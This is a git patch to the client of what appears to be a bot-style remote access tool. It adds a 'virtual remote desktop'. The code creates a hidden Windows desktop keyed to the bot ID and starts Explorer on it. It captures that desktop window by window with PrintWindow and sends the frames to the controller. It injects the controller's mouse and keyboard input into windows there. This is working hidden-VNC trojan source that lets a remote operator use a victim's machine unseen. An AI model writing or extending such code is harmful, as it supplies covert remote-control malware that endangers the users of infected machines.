From 444de506517422357d18b05c5ade1b58d1ca443a Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Sat, 31 May 2025 15:49:40 +0800 Subject: [PATCH] feat: Support virtual remote desktop monitoring --- client/CursorInfo.h | 6 + client/ScreenCapture.h | 45 ++++- client/ScreenCapturerDXGI.h | 2 +- client/ScreenManager.cpp | 333 +++++++++++++++++++++++++++++++++++- client/ScreenManager.h | 16 ++ client/ScreenSpy.cpp | 36 ++-- client/ScreenSpy.h | 136 +++++++++++++-- 7 files changed, 527 insertions(+), 47 deletions(-) diff --git a/client/CursorInfo.h b/client/CursorInfo.h index 79debe2..db57408 100644 --- a/client/CursorInfo.h +++ b/client/CursorInfo.h @@ -9,6 +9,12 @@ #pragma once #endif // _MSC_VER > 1000 +enum { + USING_GDI = 0, + USING_DXGI = 1, + USING_VIRTUAL = 2, +}; + #define ALGORITHM_GRAY 0 #define ALGORITHM_DIFF 1 #define ALGORITHM_H264 2 diff --git a/client/ScreenCapture.h b/client/ScreenCapture.h index 4720738..6f01c08 100644 --- a/client/ScreenCapture.h +++ b/client/ScreenCapture.h @@ -91,25 +91,31 @@ public: LPBYTE* m_BlockBuffers; // 分块缓存 ULONG* m_BlockSizes; // 分块差异像素数 int m_BlockNum; // 分块个数 + int m_SendQuality; // 发送质量 LPBITMAPINFO m_BitmapInfor_Full; // BMP信息 BYTE m_bAlgorithm; // 屏幕差异算法 + ULONG m_iScreenX; // 起始x坐标 + ULONG m_iScreenY; // 起始y坐标 ULONG m_ulFullWidth; // 屏幕宽 ULONG m_ulFullHeight; // 屏幕高 bool m_bZoomed; // 屏幕被缩放 double m_wZoom; // 屏幕横向缩放比 double m_hZoom; // 屏幕纵向缩放比 + int m_biBitCount; // 每像素比特数 int m_FrameID; // 帧序号 int m_GOP; // 关键帧间隔 bool m_SendKeyFrame; // 发送关键帧 CX264Encoder *m_encoder; // 编码器 - ScreenCapture(BYTE algo = ALGORITHM_DIFF) : m_ThreadPool(nullptr), m_FirstBuffer(nullptr), m_RectBuffer(nullptr), - m_BitmapInfor_Full(nullptr), m_bAlgorithm(algo), - m_ulFullWidth(0), m_ulFullHeight(0), m_bZoomed(false), m_wZoom(1), m_hZoom(1), - m_FrameID(0), m_GOP(DEFAULT_GOP), m_SendKeyFrame(false), m_encoder(nullptr){ + ScreenCapture(int n = 32, BYTE algo = ALGORITHM_DIFF) : + m_ThreadPool(nullptr), m_FirstBuffer(nullptr), m_RectBuffer(nullptr), + m_BitmapInfor_Full(nullptr), m_bAlgorithm(ALGORITHM_DIFF), m_SendQuality(100), + m_ulFullWidth(0), m_ulFullHeight(0), m_bZoomed(false), m_wZoom(1), m_hZoom(1), + m_FrameID(0), m_GOP(DEFAULT_GOP), m_iScreenX(0), m_iScreenY(0), m_biBitCount(n), + m_SendKeyFrame(false), m_encoder(nullptr) { m_BlockNum = 8; m_ThreadPool = new ThreadPool(m_BlockNum); @@ -160,6 +166,21 @@ public: SAFE_DELETE(m_encoder); } + virtual int SendQuality(int quality) { + int old = m_SendQuality; + m_SendQuality = quality; + return old; + } + + virtual RECT GetScreenRect() const { + RECT rect; + rect.left = m_iScreenX; + rect.top = m_iScreenY; + rect.right = m_ulFullWidth; + rect.bottom = m_ulFullHeight; + return rect; + } + public: //*************************************** 图像差异算法(串行) ************************************* virtual ULONG CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData, LPBYTE szBuffer, @@ -257,8 +278,22 @@ public: } } + virtual LPBITMAPINFO ConstructBitmapInfo(int biBitCount, int biWidth, int biHeight) + { + assert(biBitCount == 32); + BITMAPINFO* bmpInfo = (BITMAPINFO*) new BYTE[sizeof(BITMAPINFO)](); + bmpInfo->bmiHeader.biSize = sizeof(BITMAPINFOHEADER); + bmpInfo->bmiHeader.biWidth = biWidth; + bmpInfo->bmiHeader.biHeight = biHeight; + bmpInfo->bmiHeader.biPlanes = 1; + bmpInfo->bmiHeader.biBitCount = 32; + bmpInfo->bmiHeader.biCompression = BI_RGB; + bmpInfo->bmiHeader.biSizeImage = biWidth * biHeight * 4; + return bmpInfo; + } + // 算法+光标位置+光标类型 - LPBYTE GetNextScreenData(ULONG* ulNextSendLength) { + virtual LPBYTE GetNextScreenData(ULONG* ulNextSendLength) { BYTE algo = m_bAlgorithm; int frameID = m_FrameID + 1; bool keyFrame = (frameID % m_GOP == 0); diff --git a/client/ScreenCapturerDXGI.h b/client/ScreenCapturerDXGI.h index e7095ad..961f711 100644 --- a/client/ScreenCapturerDXGI.h +++ b/client/ScreenCapturerDXGI.h @@ -22,7 +22,7 @@ private: BYTE* m_NextBuffer = nullptr; public: - ScreenCapturerDXGI(BYTE algo, int gop = DEFAULT_GOP) : ScreenCapture(algo) { + ScreenCapturerDXGI(BYTE algo, int gop = DEFAULT_GOP) : ScreenCapture(32, algo) { m_GOP = gop; InitDXGI(); Mprintf("Capture screen with DXGI: GOP= %d\n", m_GOP); diff --git a/client/ScreenManager.cpp b/client/ScreenManager.cpp index 0dbf453..25dd41c 100644 --- a/client/ScreenManager.cpp +++ b/client/ScreenManager.cpp @@ -15,6 +15,8 @@ #include "ScreenSpy.h" #include "ScreenCapturerDXGI.h" +#include +#include ////////////////////////////////////////////////////////////////////// // Construction/Destruction @@ -43,9 +45,92 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user):CMan { m_bIsWorking = TRUE; m_bIsBlockInput = FALSE; + g_hDesk = nullptr; + m_DesktopID = GetBotId(); + m_ScreenSpyObject = nullptr; + m_ptrUser = (INT_PTR)user; - int DXGI = 0; + m_point = {}; + m_lastPoint = {}; + m_lmouseDown = FALSE; + m_hResMoveWindow = nullptr; + m_resMoveType = 0; + m_rmouseDown = FALSE; + m_rclickPoint = {}; + m_rclickWnd = nullptr; + + m_hWorkThread = CreateThread(NULL,0, WorkThreadProc,this,0,NULL); +} + + +std::wstring ConvertToWString(const std::string& multiByteStr) { + int len = MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, NULL, 0); + if (len == 0) return L""; // 转换失败 + + std::wstring wideStr(len, L'\0'); + MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, &wideStr[0], len); + + return wideStr; +} + +bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName) { + bool bReturn = false; + + try { + if (!pszApplicationFilePath || !pszDesktopName || !strlen(pszApplicationFilePath) || !strlen(pszDesktopName)) + return false; + + TCHAR szDirectoryName[MAX_PATH * 2] = { 0 }; + TCHAR szExplorerFile[MAX_PATH * 2] = { 0 }; + + strcpy_s(szDirectoryName, strlen(pszApplicationFilePath) + 1, pszApplicationFilePath); + + std::wstring path = ConvertToWString(pszApplicationFilePath); + if (!PathIsExe(path.c_str())) + return false; + PathRemoveFileSpec(szDirectoryName); + STARTUPINFO sInfo = { 0 }; + PROCESS_INFORMATION pInfo = { 0 }; + + sInfo.cb = sizeof(sInfo); + sInfo.lpDesktop = pszDesktopName; + + //Launching a application into desktop + BOOL bCreateProcessReturn = CreateProcess(pszApplicationFilePath, + NULL, + NULL, + NULL, + TRUE, + NORMAL_PRIORITY_CLASS, + NULL, + szDirectoryName, + &sInfo, + &pInfo); + + TCHAR* pszError = NULL; + FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, + NULL, GetLastError(), 0, reinterpret_cast(&pszError), 0, NULL); + + if (pszError) { + Mprintf("CreateProcess [%s] failed: %s\n", pszApplicationFilePath, pszError); + LocalFree(pszError); // 释放内存 + } + + if (bCreateProcessReturn) + bReturn = true; + + } + catch (...) { + bReturn = false; + } + + return bReturn; +} + +void CScreenManager::InitScreenSpy() { + int DXGI = USING_GDI; BYTE algo = ALGORITHM_DIFF; + BYTE* user = (BYTE*)m_ptrUser; if (!(user == NULL || (int)user == 1)) { UserParam* param = (UserParam*)user; if (param) { @@ -53,11 +138,36 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user):CMan algo = param->length > 1 ? param->buffer[1] : algo; delete param; } - } else { + } + else { DXGI = (int)user; } Mprintf("CScreenManager: Type %d Algorithm: %d\n", DXGI, int(algo)); - if ((1==DXGI && IsWindows8orHigher())) + if (DXGI == USING_VIRTUAL) { + HDESK hDesk = SelectDesktop((char*)m_DesktopID.c_str()); + if (!hDesk) { + if (hDesk = CreateDesktop(m_DesktopID.c_str(), NULL, NULL, 0, GENERIC_ALL, NULL)) { + Mprintf("创建虚拟屏幕成功: %s\n", m_DesktopID.c_str()); + TCHAR szExplorerFile[MAX_PATH * 2] = { 0 }; + GetWindowsDirectory(szExplorerFile, MAX_PATH * 2 - 1); + strcat_s(szExplorerFile, MAX_PATH * 2 - 1, "\\Explorer.Exe"); + if (!LaunchApplication(szExplorerFile, (char*)m_DesktopID.c_str())) { + Mprintf("启动资源管理器失败[%s]!!!\n", m_DesktopID.c_str()); + } + } + else { + Mprintf("创建虚拟屏幕失败: %s\n", m_DesktopID.c_str()); + } + } + else { + Mprintf("打开虚拟屏幕成功: %s\n", m_DesktopID.c_str()); + } + if (hDesk) { + SetThreadDesktop(g_hDesk = hDesk); + } + } + + if ((USING_DXGI == DXGI && IsWindows8orHigher())) { auto s = new ScreenCapturerDXGI(algo); if (s->IsInitSucceed()) { @@ -71,17 +181,16 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user):CMan } else { - m_ScreenSpyObject = new CScreenSpy(32, algo); + m_ScreenSpyObject = new CScreenSpy(32, algo, DXGI == USING_VIRTUAL); } - - m_hWorkThread = CreateThread(NULL,0, WorkThreadProc,this,0,NULL); } - DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam) { CScreenManager *This = (CScreenManager *)lParam; + This->InitScreenSpy(); + This->SendBitMapInfo(); //发送bmp位图结构 // 等控制端对话框打开 @@ -285,6 +394,12 @@ VOID CScreenManager::SendNextScreen(const char* szBuffer, ULONG ulNextSendLength m_ClientObject->OnServerSending(szBuffer, ulNextSendLength); } +std::string GetTitle(HWND hWnd) { + char title[256]; // 预留缓冲区 + GetWindowTextA(hWnd, title, sizeof(title)); + return title; +} + VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength) { int msgSize = sizeof(MSG64); @@ -301,6 +416,210 @@ VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength) BYTE* ptr = szBuffer; MSG32 msg32; MSG64 msg64; + if (g_hDesk) { + HWND hWnd = NULL; + BOOL mouseMsg = FALSE; + POINT lastPointCopy = {}; + SetThreadDesktop(g_hDesk); + for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) { + MYMSG* msg = msgSize == 48 ? (MYMSG*)ptr : + (MYMSG*)msg64.Create(msg32.Create(ptr, msgSize)); + switch (msg->message) { + case WM_KEYUP: + return; + case WM_CHAR: + + case WM_KEYDOWN: { + m_point = m_lastPoint; + hWnd = WindowFromPoint(m_point); + break; + } + case WM_RBUTTONDOWN: { + // 记录右键按下时的坐标 + m_rmouseDown = TRUE; + m_rclickPoint = msg->pt; + break; + } + case WM_RBUTTONUP: { + m_rmouseDown = FALSE; + m_rclickWnd = WindowFromPoint(m_rclickPoint); + // 检查是否为系统菜单(如任务栏) + char szClass[256]; + GetClassNameA(m_rclickWnd, szClass, sizeof(szClass)); + Mprintf("Right click on '%s' %s[%p]\n", szClass, GetTitle(hWnd).c_str(), hWnd); + if (strcmp(szClass, "Shell_TrayWnd") == 0) { + // 触发系统级右键菜单(任务栏) + PostMessage(m_rclickWnd, WM_CONTEXTMENU, (WPARAM)m_rclickWnd, + MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y)); + } + else { + // 普通窗口的右键菜单 + if (!PostMessage(m_rclickWnd, WM_RBUTTONUP, msg->wParam, + MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y))) { + // 附加:模拟键盘按下Shift+F10(备用菜单触发方式) + keybd_event(VK_SHIFT, 0, 0, 0); + keybd_event(VK_F10, 0, 0, 0); + keybd_event(VK_F10, 0, KEYEVENTF_KEYUP, 0); + keybd_event(VK_SHIFT, 0, KEYEVENTF_KEYUP, 0); + } + } + break; + } + default: + { + mouseMsg = TRUE; + m_point = msg->pt; + hWnd = WindowFromPoint(m_point); + lastPointCopy = m_lastPoint; + m_lastPoint = m_point; + if (msg->message == WM_LBUTTONUP) { + if (m_rclickWnd && hWnd != m_rclickWnd) + { + PostMessageA(m_rclickWnd, WM_LBUTTONDOWN, MK_LBUTTON, 0); + PostMessageA(m_rclickWnd, WM_LBUTTONUP, MK_LBUTTON, 0); + m_rclickWnd = nullptr; + } + m_lmouseDown = FALSE; + LRESULT lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam); + switch (lResult) { + case HTTRANSPARENT: { + SetWindowLongA(hWnd, GWL_STYLE, GetWindowLongA(hWnd, GWL_STYLE) | WS_DISABLED); + lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam); + break; + } + case HTCLOSE: {// 关闭窗口 + PostMessageA(hWnd, WM_CLOSE, 0, 0); + Mprintf("Close window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd); + break; + } + case HTMINBUTTON: {// 最小化 + PostMessageA(hWnd, WM_SYSCOMMAND, SC_MINIMIZE, 0); + Mprintf("Minsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd); + break; + } + case HTMAXBUTTON: {// 最大化 + WINDOWPLACEMENT windowPlacement; + windowPlacement.length = sizeof(windowPlacement); + GetWindowPlacement(hWnd, &windowPlacement); + if (windowPlacement.flags & SW_SHOWMAXIMIZED) + PostMessageA(hWnd, WM_SYSCOMMAND, SC_RESTORE, 0); + else + PostMessageA(hWnd, WM_SYSCOMMAND, SC_MAXIMIZE, 0); + Mprintf("Maxsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd); + break; + } + } + } + else if (msg->message == WM_LBUTTONDOWN) { + m_lmouseDown = TRUE; + m_hResMoveWindow = NULL; + RECT startButtonRect; + HWND hStartButton = FindWindowA((PCHAR)"Button", NULL); + GetWindowRect(hStartButton, &startButtonRect); + if (PtInRect(&startButtonRect, m_point)) { + PostMessageA(hStartButton, BM_CLICK, 0, 0); // 模拟开始按钮点击 + continue; + } + else { + char windowClass[MAX_PATH] = { 0 }; + RealGetWindowClassA(hWnd, windowClass, MAX_PATH); + if (!lstrcmpA(windowClass, "#32768")) { + HMENU hMenu = (HMENU)SendMessageA(hWnd, MN_GETHMENU, 0, 0); + int itemPos = MenuItemFromPoint(NULL, hMenu, m_point); + int itemId = GetMenuItemID(hMenu, itemPos); + PostMessageA(hWnd, 0x1e5, itemPos, 0); + PostMessageA(hWnd, WM_KEYDOWN, VK_RETURN, 0); + continue; + } + } + } + else if (msg->message == WM_MOUSEMOVE) { + if (!m_lmouseDown) + continue; + if (!m_hResMoveWindow) + m_resMoveType = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam); + else + hWnd = m_hResMoveWindow; + int moveX = lastPointCopy.x - m_point.x; + int moveY = lastPointCopy.y - m_point.y; + + RECT rect; + GetWindowRect(hWnd, &rect); + int x = rect.left; + int y = rect.top; + int width = rect.right - rect.left; + int height = rect.bottom - rect.top; + switch (m_resMoveType) { + case HTCAPTION: { + x -= moveX; + y -= moveY; + break; + } + case HTTOP: { + y -= moveY; + height += moveY; + break; + } + case HTBOTTOM: { + height -= moveY; + break; + } + case HTLEFT: { + x -= moveX; + width += moveX; + break; + } + case HTRIGHT: { + width -= moveX; + break; + } + case HTTOPLEFT: { + y -= moveY; + height += moveY; + x -= moveX; + width += moveX; + break; + } + case HTTOPRIGHT: { + y -= moveY; + height += moveY; + width -= moveX; + break; + } + case HTBOTTOMLEFT: { + height -= moveY; + x -= moveX; + width += moveX; + break; + } + case HTBOTTOMRIGHT: { + height -= moveY; + width -= moveX; + break; + } + default: + continue; + } + MoveWindow(hWnd, x, y, width, height, FALSE); + m_hResMoveWindow = hWnd; + continue; + } + break; + } + } + for (HWND currHwnd = hWnd;;) { + hWnd = currHwnd; + ScreenToClient(currHwnd, &m_point); + currHwnd = ChildWindowFromPoint(currHwnd, m_point); + if (!currHwnd || currHwnd == hWnd) + break; + } + if (mouseMsg) + msg->lParam = MAKELPARAM(m_point.x, m_point.y); + PostMessage(hWnd, msg->message, (WPARAM)msg->wParam, msg->lParam); + } + return; + } for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) { MSG64* Msg = msgSize == 48 ? (MSG64*)ptr : diff --git a/client/ScreenManager.h b/client/ScreenManager.h index aa37070..0c47414 100644 --- a/client/ScreenManager.h +++ b/client/ScreenManager.h @@ -13,6 +13,8 @@ #include "ScreenSpy.h" #include "ScreenCapture.h" +bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName); + class IOCPClient; class CScreenManager : public CManager @@ -22,6 +24,7 @@ public: virtual ~CScreenManager(); HANDLE m_hWorkThread; + void InitScreenSpy(); static DWORD WINAPI WorkThreadProc(LPVOID lParam); VOID SendBitMapInfo(); VOID OnReceive(PBYTE szBuffer, ULONG ulLength); @@ -32,10 +35,23 @@ public: VOID SendNextScreen(const char* szBuffer, ULONG ulNextSendLength); VOID ProcessCommand(LPBYTE szBuffer, ULONG ulLength); + INT_PTR m_ptrUser; + HDESK g_hDesk; + std::string m_DesktopID; BOOL m_bIsWorking; BOOL m_bIsBlockInput; VOID SendClientClipboard(); VOID UpdateClientClipboard(char *szBuffer, ULONG ulLength); + + // 虚拟桌面 + POINT m_point; + POINT m_lastPoint; + BOOL m_lmouseDown; + HWND m_hResMoveWindow; + LRESULT m_resMoveType; + BOOL m_rmouseDown; // 标记右键是否按下 + POINT m_rclickPoint; // 右键点击坐标 + HWND m_rclickWnd; // 右键窗口 }; #endif // !defined(AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_) diff --git a/client/ScreenSpy.cpp b/client/ScreenSpy.cpp index 17fb482..4dcbfa7 100644 --- a/client/ScreenSpy.cpp +++ b/client/ScreenSpy.cpp @@ -11,10 +11,10 @@ // Construction/Destruction ////////////////////////////////////////////////////////////////////// -CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, int gop) : ScreenCapture(algo) +CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk, int gop) : + ScreenCapture(ulbiBitCount, algo) { m_GOP = gop; - int m_ulbiBitCount = (ulbiBitCount == 16 || ulbiBitCount == 32) ? ulbiBitCount : 16; m_BitmapInfor_Full = new BITMAPINFO(); memset(m_BitmapInfor_Full, 0, sizeof(BITMAPINFO)); @@ -28,22 +28,23 @@ CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, int gop) : ScreenCapture(a BitmapInforHeader->biSizeImage = ((BitmapInforHeader->biWidth * BitmapInforHeader->biBitCount + 31) / 32) * 4 * BitmapInforHeader->biHeight; - m_hDeskTopWnd = GetDesktopWindow(); - m_hFullDC = GetDC(m_hDeskTopWnd); + m_hDeskTopDC = GetDC(NULL); m_BitmapData_Full = NULL; - m_hFullMemDC = CreateCompatibleDC(m_hFullDC); - m_BitmapHandle = ::CreateDIBSection(m_hFullDC, m_BitmapInfor_Full, DIB_RGB_COLORS, &m_BitmapData_Full, NULL, NULL); + m_hFullMemDC = CreateCompatibleDC(m_hDeskTopDC); + m_BitmapHandle = ::CreateDIBSection(m_hDeskTopDC, m_BitmapInfor_Full, DIB_RGB_COLORS, &m_BitmapData_Full, NULL, NULL); ::SelectObject(m_hFullMemDC, m_BitmapHandle); m_FirstBuffer = (LPBYTE)m_BitmapData_Full; m_DiffBitmapData_Full = NULL; - m_hDiffMemDC = CreateCompatibleDC(m_hFullDC); - m_DiffBitmapHandle = ::CreateDIBSection(m_hFullDC, m_BitmapInfor_Full, DIB_RGB_COLORS, &m_DiffBitmapData_Full, NULL, NULL); + m_hDiffMemDC = CreateCompatibleDC(m_hDeskTopDC); + m_DiffBitmapHandle = ::CreateDIBSection(m_hDeskTopDC, m_BitmapInfor_Full, DIB_RGB_COLORS, &m_DiffBitmapData_Full, NULL, NULL); ::SelectObject(m_hDiffMemDC, m_DiffBitmapHandle); - m_RectBufferOffset = 0; - m_RectBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage * 2]; + m_RectBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage * 2 + 12]; + + m_bVirtualPaint = vDesk; + m_data.Create(m_hDeskTopDC, m_iScreenX, m_iScreenY, m_ulFullWidth, m_ulFullHeight); } @@ -55,7 +56,7 @@ CScreenSpy::~CScreenSpy() m_BitmapInfor_Full = NULL; } - ReleaseDC(m_hDeskTopWnd, m_hFullDC); + ReleaseDC(NULL, m_hDeskTopDC); if (m_hFullMemDC!=NULL) { @@ -86,15 +87,11 @@ CScreenSpy::~CScreenSpy() delete[] m_RectBuffer; m_RectBuffer = NULL; } - - m_RectBufferOffset = 0; } LPBYTE CScreenSpy::GetFirstScreenData(ULONG* ulFirstScreenLength) { - //用于从原设备中复制位图到目标设备 - ::BitBlt(m_hFullMemDC, 0, 0, m_ulFullWidth, m_ulFullHeight, m_hFullDC, 0, 0, SRCCOPY); - + ScanScreen(m_hFullMemDC, m_hDeskTopDC, m_ulFullWidth, m_ulFullHeight); m_RectBuffer[0] = TOKEN_FIRSTSCREEN; memcpy(1 + m_RectBuffer, m_BitmapData_Full, m_BitmapInfor_Full->bmiHeader.biSizeImage); if (m_bAlgorithm == ALGORITHM_GRAY) { @@ -108,6 +105,13 @@ LPBYTE CScreenSpy::GetFirstScreenData(ULONG* ulFirstScreenLength) VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight) { + if (m_bVirtualPaint){ + int n = 0; + if (n = EnumWindowsTopToDown(NULL, EnumHwndsPrint, (LPARAM)&m_data.SetScreenDC(hdcDest))) { + Mprintf("EnumWindowsTopToDown failed: %d!!!\n", n); + } + return; + } AUTO_TICK(70); #if COPY_ALL BitBlt(hdcDest, 0, 0, ulWidth, ulHeight, hdcSour, 0, 0, SRCCOPY); diff --git a/client/ScreenSpy.h b/client/ScreenSpy.h index 4cf00ec..5f45217 100644 --- a/client/ScreenSpy.h +++ b/client/ScreenSpy.h @@ -14,24 +14,76 @@ #include "ScreenCapture.h" +class EnumHwndsPrintData { +public: + EnumHwndsPrintData() { + memset(this, 0, sizeof(EnumHwndsPrintData)); + } + void Create(HDC desktop, int _x, int _y, int w, int h) { + x = _x; + y = _y; + width = w; + height = h; + hDcWindow = CreateCompatibleDC(desktop); + hBmpWindow = CreateCompatibleBitmap(desktop, w, h); + } + EnumHwndsPrintData& SetScreenDC(HDC dc) { + hDcScreen = dc; + return *this; + } + ~EnumHwndsPrintData() { + if (hDcWindow) DeleteDC(hDcWindow); + hDcWindow = nullptr; + if (hBmpWindow)DeleteObject(hBmpWindow); + hBmpWindow = nullptr; + } + HDC GetWindowDC() const { + return hDcWindow; + } + HDC GetScreenDC() const { + return hDcScreen; + } + HBITMAP GetWindowBmp() const { + return hBmpWindow; + } + int X() const { + return x; + } + int Y() const { + return y; + } + int Width()const { + return width; + } + int Height()const { + return height; + } +private: + HDC hDcWindow; + HDC hDcScreen; + HBITMAP hBmpWindow; + int x; + int y; + int width; + int height; +}; + class CScreenSpy : public ScreenCapture { -private: - HWND m_hDeskTopWnd; //当前工作区的窗口句柄 - HDC m_hFullDC; //Explorer.exe 的窗口设备DC +protected: + HDC m_hDeskTopDC; // 屏幕上下文 + HDC m_hFullMemDC; // 上一个上下文 + HDC m_hDiffMemDC; // 差异上下文 + HBITMAP m_BitmapHandle; // 上一帧位图 + HBITMAP m_DiffBitmapHandle; // 差异帧位图 + PVOID m_BitmapData_Full; // 当前位图数据 + PVOID m_DiffBitmapData_Full; // 差异位图数据 - HDC m_hFullMemDC; - HBITMAP m_BitmapHandle; - PVOID m_BitmapData_Full; - - HDC m_hDiffMemDC; - HBITMAP m_DiffBitmapHandle; - PVOID m_DiffBitmapData_Full; - - ULONG m_RectBufferOffset; // 缓存区位移 + BOOL m_bVirtualPaint;// 是否虚拟绘制 + EnumHwndsPrintData m_data; public: - CScreenSpy(ULONG ulbiBitCount, BYTE algo, int gop = DEFAULT_GOP); + CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk = FALSE, int gop = DEFAULT_GOP); virtual ~CScreenSpy(); @@ -65,21 +117,69 @@ public: return m_BitmapInfor_Full->bmiHeader.biSizeImage; } - FORCEINLINE VOID WriteRectBuffer(LPBYTE szBuffer, ULONG ulLength) + static BOOL PaintWindow(HWND hWnd, EnumHwndsPrintData* data) { - memcpy(m_RectBuffer + m_RectBufferOffset, szBuffer, ulLength); - m_RectBufferOffset += ulLength; + if (!IsWindowVisible(hWnd) || IsIconic(hWnd)) + return TRUE; + + RECT rect; + if (!GetWindowRect(hWnd, &rect)) + return FALSE; + + HDC hDcWindow = data->GetWindowDC(); + HBITMAP hOldBmp = (HBITMAP)SelectObject(hDcWindow, data->GetWindowBmp()); + BOOL ret = FALSE; + if (PrintWindow(hWnd, hDcWindow, PW_RENDERFULLCONTENT) || SendMessageTimeout(hWnd, WM_PRINT, + (WPARAM)hDcWindow, PRF_CLIENT | PRF_NONCLIENT, SMTO_BLOCK, 50, NULL)) { + BitBlt(data->GetScreenDC(), rect.left - data->X(), rect.top - data->Y(), + rect.right - rect.left, rect.bottom - rect.top, hDcWindow, 0, 0, SRCCOPY); + + ret = TRUE; + } + SelectObject(hDcWindow, hOldBmp); + + return ret; + } + + static int EnumWindowsTopToDown(HWND owner, WNDENUMPROC proc, LPARAM param) + { + HWND currentWindow = GetTopWindow(owner); + if (currentWindow == NULL) + return -1; + if ((currentWindow = GetWindow(currentWindow, GW_HWNDLAST)) == NULL) + return -2; + while (proc(currentWindow, param) && (currentWindow = GetWindow(currentWindow, GW_HWNDPREV)) != NULL); + return 0; + } + + static BOOL CALLBACK EnumHwndsPrint(HWND hWnd, LPARAM lParam) + { + AUTO_TICK_C(50); + if (FALSE == PaintWindow(hWnd, (EnumHwndsPrintData*)lParam)) { + char text[_MAX_PATH] = {}; + GetWindowText(hWnd, text, sizeof(text)); + Mprintf("PaintWindow %s[%p] failed!!!\n", text, hWnd); + } + + static OSVERSIONINFOA versionInfo = { sizeof(OSVERSIONINFOA) }; + static BOOL result = GetVersionExA(&versionInfo); + if (versionInfo.dwMajorVersion < 6) { + DWORD style = GetWindowLongA(hWnd, GWL_EXSTYLE); + SetWindowLongA(hWnd, GWL_EXSTYLE, style | WS_EX_COMPOSITED); + EnumWindowsTopToDown(hWnd, EnumHwndsPrint, lParam); + } + + return TRUE; } virtual LPBYTE GetFirstScreenData(ULONG* ulFirstScreenLength); virtual LPBYTE ScanNextScreen() { - ScanScreen(m_hDiffMemDC, m_hFullDC, m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight); + ScanScreen(m_hDiffMemDC, m_hDeskTopDC, m_ulFullWidth, m_ulFullHeight); return (LPBYTE)m_DiffBitmapData_Full; } VOID ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight); - }; #endif // !defined(AFX_SCREENSPY_H__5F74528D_9ABD_404E_84D2_06C96A0615F4__INCLUDED_)